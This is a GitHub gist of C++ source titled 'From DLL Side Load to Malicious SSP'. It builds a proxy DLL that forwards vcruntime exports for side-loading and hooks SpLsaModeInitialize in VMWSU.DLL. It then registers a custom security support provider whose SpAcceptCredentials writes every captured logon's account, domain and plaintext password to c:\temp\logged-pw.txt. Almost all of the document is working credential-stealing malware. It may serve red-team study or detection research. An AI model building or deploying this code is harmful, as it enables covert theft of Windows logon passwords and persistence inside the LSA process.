Skip to content

Instantly share code, notes, and snippets.

@snovvcrash
Created September 26, 2023 17:15
Show Gist options
  • Save snovvcrash/8e2e0e0b04014c61c81761e0bddbc6ea to your computer and use it in GitHub Desktop.
Save snovvcrash/8e2e0e0b04014c61c81761e0bddbc6ea to your computer and use it in GitHub Desktop.
From DLL Side Load to Malicious SSP
/*
* https://www.ired.team/offensive-security/credential-access-and-credential-dumping/intercepting-logon-credentials-via-custom-security-support-provider-and-authentication-package
* https://github.com/mgeeky/ShellcodeFluctuation/blob/cb7a803493b9ce9fb5a5a3bc1c77773a60194ca4/ShellcodeFluctuation/main.cpp#L178-L262
*/
#include "pch.h"
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#pragma comment(lib, "Secur32.lib")
#pragma comment(linker, "/export:_CreateFrameInfo=tmp50CA._CreateFrameInfo,@1")
#pragma comment(linker, "/export:_CxxThrowException=tmp50CA._CxxThrowException,@2")
#pragma comment(linker, "/export:_FindAndUnlinkFrame=tmp50CA._FindAndUnlinkFrame,@3")
#pragma comment(linker, "/export:_IsExceptionObjectToBeDestroyed=tmp50CA._IsExceptionObjectToBeDestroyed,@4")
#pragma comment(linker, "/export:_SetWinRTOutOfMemoryExceptionCallback=tmp50CA._SetWinRTOutOfMemoryExceptionCallback,@5")
#pragma comment(linker, "/export:__AdjustPointer=tmp50CA.__AdjustPointer,@6")
#pragma comment(linker, "/export:__BuildCatchObject=tmp50CA.__BuildCatchObject,@7")
#pragma comment(linker, "/export:__BuildCatchObjectHelper=tmp50CA.__BuildCatchObjectHelper,@8")
#pragma comment(linker, "/export:__C_specific_handler=tmp50CA.__C_specific_handler,@9")
#pragma comment(linker, "/export:__C_specific_handler_noexcept=tmp50CA.__C_specific_handler_noexcept,@10")
#pragma comment(linker, "/export:__CxxDetectRethrow=tmp50CA.__CxxDetectRethrow,@11")
#pragma comment(linker, "/export:__CxxExceptionFilter=tmp50CA.__CxxExceptionFilter,@12")
#pragma comment(linker, "/export:__CxxFrameHandler=tmp50CA.__CxxFrameHandler,@13")
#pragma comment(linker, "/export:__CxxFrameHandler2=tmp50CA.__CxxFrameHandler2,@14")
#pragma comment(linker, "/export:__CxxFrameHandler3=tmp50CA.__CxxFrameHandler3,@15")
#pragma comment(linker, "/export:__CxxQueryExceptionSize=tmp50CA.__CxxQueryExceptionSize,@16")
#pragma comment(linker, "/export:__CxxRegisterExceptionObject=tmp50CA.__CxxRegisterExceptionObject,@17")
#pragma comment(linker, "/export:__CxxUnregisterExceptionObject=tmp50CA.__CxxUnregisterExceptionObject,@18")
#pragma comment(linker, "/export:__DestructExceptionObject=tmp50CA.__DestructExceptionObject,@19")
#pragma comment(linker, "/export:__FrameUnwindFilter=tmp50CA.__FrameUnwindFilter,@20")
#pragma comment(linker, "/export:__GetPlatformExceptionInfo=tmp50CA.__GetPlatformExceptionInfo,@21")
#pragma comment(linker, "/export:__NLG_Dispatch2=tmp50CA.__NLG_Dispatch2,@22")
#pragma comment(linker, "/export:__NLG_Return2=tmp50CA.__NLG_Return2,@23")
#pragma comment(linker, "/export:__RTCastToVoid=tmp50CA.__RTCastToVoid,@24")
#pragma comment(linker, "/export:__RTDynamicCast=tmp50CA.__RTDynamicCast,@25")
#pragma comment(linker, "/export:__RTtypeid=tmp50CA.__RTtypeid,@26")
#pragma comment(linker, "/export:__TypeMatch=tmp50CA.__TypeMatch,@27")
#pragma comment(linker, "/export:__current_exception=tmp50CA.__current_exception,@28")
#pragma comment(linker, "/export:__current_exception_context=tmp50CA.__current_exception_context,@29")
#pragma comment(linker, "/export:__intrinsic_setjmp=tmp50CA.__intrinsic_setjmp,@30")
#pragma comment(linker, "/export:__intrinsic_setjmpex=tmp50CA.__intrinsic_setjmpex,@31")
#pragma comment(linker, "/export:__processing_throw=tmp50CA.__processing_throw,@32")
#pragma comment(linker, "/export:__report_gsfailure=tmp50CA.__report_gsfailure,@33")
#pragma comment(linker, "/export:__std_exception_copy=tmp50CA.__std_exception_copy,@34")
#pragma comment(linker, "/export:__std_exception_destroy=tmp50CA.__std_exception_destroy,@35")
#pragma comment(linker, "/export:__std_terminate=tmp50CA.__std_terminate,@36")
#pragma comment(linker, "/export:__std_type_info_compare=tmp50CA.__std_type_info_compare,@37")
#pragma comment(linker, "/export:__std_type_info_destroy_list=tmp50CA.__std_type_info_destroy_list,@38")
#pragma comment(linker, "/export:__std_type_info_hash=tmp50CA.__std_type_info_hash,@39")
#pragma comment(linker, "/export:__std_type_info_name=tmp50CA.__std_type_info_name,@40")
#pragma comment(linker, "/export:__telemetry_main_invoke_trigger=tmp50CA.__telemetry_main_invoke_trigger,@41")
#pragma comment(linker, "/export:__telemetry_main_return_trigger=tmp50CA.__telemetry_main_return_trigger,@42")
#pragma comment(linker, "/export:__unDName=tmp50CA.__unDName,@43")
#pragma comment(linker, "/export:__unDNameEx=tmp50CA.__unDNameEx,@44")
#pragma comment(linker, "/export:__uncaught_exception=tmp50CA.__uncaught_exception,@45")
#pragma comment(linker, "/export:__uncaught_exceptions=tmp50CA.__uncaught_exceptions,@46")
#pragma comment(linker, "/export:__vcrt_GetModuleFileNameW=tmp50CA.__vcrt_GetModuleFileNameW,@47")
#pragma comment(linker, "/export:__vcrt_GetModuleHandleW=tmp50CA.__vcrt_GetModuleHandleW,@48")
#pragma comment(linker, "/export:__vcrt_InitializeCriticalSectionEx=tmp50CA.__vcrt_InitializeCriticalSectionEx,@49")
#pragma comment(linker, "/export:__vcrt_LoadLibraryExW=tmp50CA.__vcrt_LoadLibraryExW,@50")
#pragma comment(linker, "/export:_get_purecall_handler=tmp50CA._get_purecall_handler,@51")
#pragma comment(linker, "/export:_get_unexpected=tmp50CA._get_unexpected,@52")
#pragma comment(linker, "/export:_is_exception_typeof=tmp50CA._is_exception_typeof,@53")
#pragma comment(linker, "/export:_local_unwind=tmp50CA._local_unwind,@54")
#pragma comment(linker, "/export:_purecall=tmp50CA._purecall,@55")
#pragma comment(linker, "/export:_set_purecall_handler=tmp50CA._set_purecall_handler,@56")
#pragma comment(linker, "/export:_set_se_translator=tmp50CA._set_se_translator,@57")
#pragma comment(linker, "/export:longjmp=tmp50CA.longjmp,@58")
#pragma comment(linker, "/export:memchr=tmp50CA.memchr,@59")
#pragma comment(linker, "/export:memcmp=tmp50CA.memcmp,@60")
#pragma comment(linker, "/export:memcpy=tmp50CA.memcpy,@61")
#pragma comment(linker, "/export:memmove=tmp50CA.memmove,@62")
#pragma comment(linker, "/export:memset=tmp50CA.memset,@63")
#pragma comment(linker, "/export:set_unexpected=tmp50CA.set_unexpected,@64")
#pragma comment(linker, "/export:strchr=tmp50CA.strchr,@65")
#pragma comment(linker, "/export:strrchr=tmp50CA.strrchr,@66")
#pragma comment(linker, "/export:strstr=tmp50CA.strstr,@67")
#pragma comment(linker, "/export:unexpected=tmp50CA.unexpected,@68")
#pragma comment(linker, "/export:wcschr=tmp50CA.wcschr,@69")
#pragma comment(linker, "/export:wcsrchr=tmp50CA.wcsrchr,@70")
#pragma comment(linker, "/export:wcsstr=tmp50CA.wcsstr,@71")
NTSTATUS NTAPI SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable) { return 0; }
NTSTATUS NTAPI SpShutDown(void) { return 0; }
NTSTATUS NTAPI SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->Name = (SEC_WCHAR*)L"mySSP";
PackageInfo->Comment = (SEC_WCHAR*)L"mySSP <o>";
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->wVersion = 1;
return 0;
}
NTSTATUS NTAPI SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
HANDLE outFile = CreateFile(L"c:\\temp\\logged-pw.txt", FILE_GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD bytesWritten = 0;
std::wstring log = L"";
std::wstring account = AccountName->Buffer;
std::wstring domain = PrimaryCredentials->DomainName.Buffer;
std::wstring password = PrimaryCredentials->Password.Buffer;
log.append(account).append(L"@").append(domain).append(L":").append(password).append(L"\n");
WriteFile(outFile, log.c_str(), log.length() * 2, &bytesWritten, NULL);
CloseHandle(outFile);
return 0;
}
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize, SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};
typedef NTSTATUS(NTAPI* typeSpLsaModeInitialize)(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables);
struct HookedSpLsaModeInitialize
{
typeSpLsaModeInitialize originSpLsaModeInitialize;
BYTE spLsaModeInitializeStub[16];
};
HookedSpLsaModeInitialize g_hookedSpLsaModeInitialize;
struct HookTrampolineBuffers
{
BYTE* originalBytes;
DWORD originalBytesSize;
BYTE* previousBytes;
DWORD previousBytesSize;
};
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers)
{
uint8_t trampoline[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
0x41, 0xFF, 0xE2 // jmp r10
};
uint64_t addr = (uint64_t)(jumpAddress);
memcpy(&trampoline[2], &addr, sizeof(addr));
DWORD dwSize = sizeof(trampoline);
DWORD oldProt = 0;
bool output = false;
if (installHook)
{
if (buffers != NULL)
memcpy(buffers->previousBytes, addressToHook, buffers->previousBytesSize);
if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt))
{
memcpy(addressToHook, trampoline, dwSize);
output = true;
}
}
else
{
dwSize = buffers->originalBytesSize;
if (::VirtualProtect(addressToHook, dwSize, PAGE_EXECUTE_READWRITE, &oldProt))
{
memcpy(addressToHook, buffers->originalBytes, dwSize);
output = true;
}
}
::VirtualProtect(addressToHook, dwSize, oldProt, &oldProt);
return output;
}
void NTAPI MySpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables)
{
HookTrampolineBuffers buffers = { 0 };
buffers.originalBytes = g_hookedSpLsaModeInitialize.spLsaModeInitializeStub;
buffers.originalBytesSize = sizeof(g_hookedSpLsaModeInitialize.spLsaModeInitializeStub);
HINSTANCE library = LoadLibraryA("VMWSU.DLL");
FARPROC spLsaModeInitializeAddress = GetProcAddress(library, "SpLsaModeInitialize");
fastTrampoline(false, (BYTE*)spLsaModeInitializeAddress, (void*)&MySpLsaModeInitialize, &buffers);
*PackageVersion = SECPKG_INTERFACE_VERSION;
*ppTables = SecurityPackageFunctionTable;
*pcTables = 1;
fastTrampoline(true, (BYTE*)spLsaModeInitializeAddress, (void*)&MySpLsaModeInitialize, NULL);
}
int myMain()
{
HookTrampolineBuffers buffers = { 0 };
buffers.previousBytes = g_hookedSpLsaModeInitialize.spLsaModeInitializeStub;
buffers.previousBytesSize = sizeof(g_hookedSpLsaModeInitialize);
HINSTANCE library = LoadLibraryA("VMWSU.DLL");
typeSpLsaModeInitialize spLsaModeInitializeAddress = (NTSTATUS(NTAPI*)(ULONG, PULONG, PSECPKG_FUNCTION_TABLE*, PULONG))GetProcAddress(library, "SpLsaModeInitialize");
g_hookedSpLsaModeInitialize.originSpLsaModeInitialize = reinterpret_cast<typeSpLsaModeInitialize>(spLsaModeInitializeAddress);
if (!fastTrampoline(true, (BYTE*)spLsaModeInitializeAddress, (void*)MySpLsaModeInitialize, &buffers))
return 1;
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
myMain();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment